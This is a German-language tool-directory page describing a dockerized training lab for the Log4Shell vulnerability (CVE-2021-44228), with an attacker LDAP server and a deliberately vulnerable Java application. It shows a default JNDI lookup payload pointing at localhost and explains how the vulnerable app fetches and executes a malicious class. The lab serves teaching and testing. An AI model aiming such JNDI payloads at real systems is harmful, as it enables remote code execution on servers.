Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-44228_dockernize — Dockerisierte Laborumgebung zum sicheren Üben der Ausnutzung von CVE-2021-44228 (Log4Shell). Enthält einen Angreifer-LDAP-Server und eine angreifbare Java-Anwendung zum Testen eigener Payloads. | Kitploit
Tools/GitHubGitHub/qw3rtyou/cve-2021-44228_dockernize
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungLabs & Praxis
GitHubqw3rtyou/cve-2021-44228_dockernize

CVE-2021-44228_dockernize

Dockerisierte Laborumgebung zum sicheren Üben der Ausnutzung von CVE-2021-44228 (Log4Shell). Enthält einen Angreifer-LDAP-Server und eine angreifbare Java-Anwendung zum Testen eigener Payloads.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 1 JahrNoch nicht geprüft

CVE-2021-44228 (Log4Shell) Laborumgebung für Sicherheitslücken

Einleitung

Dieses Projekt bietet eine dockerisierte Umgebung, um die kritische Log4j-Sicherheitslücke CVE-2021-44228 (Log4Shell) sicher zu üben und zu verstehen.

Hauptmerkmale

  • Sichere dockerisierte Testumgebung
  • Möglichkeit zum Testen benutzerdefinierter Payloads
  • Enthält einen LDAP-Server des Angreifers und eine angreifbare Java-Anwendung

Erste Schritte

root@kitploit:~
docker compose up --build

Payload-Tests

  1. Sie können den Payload im Testabschnitt von /vulnerable/Makefile ändern
  2. Der Standard-Payload verwendet $${jndi:ldap://127.0.0.1:10000/}

Funktionsweise

  1. Die angreifbare Java-Anwendung startet
  2. Der LDAP-Server des Angreifers lauscht auf Port 10000
  3. Die angreifbare Anwendung läuft
  4. Der Log4Shell-Payload wird über den Makefile-Testabschnitt in der angreifbaren Anwendung protokolliert
  5. Die angreifbare Anwendung versucht eine JNDI-LDAP-Abfrage
  6. Der LDAP-Server gibt eine schädliche Java-Klasse zurück
  7. Die angreifbare Anwendung lädt und führt diese Klasse aus
Tool herunterladen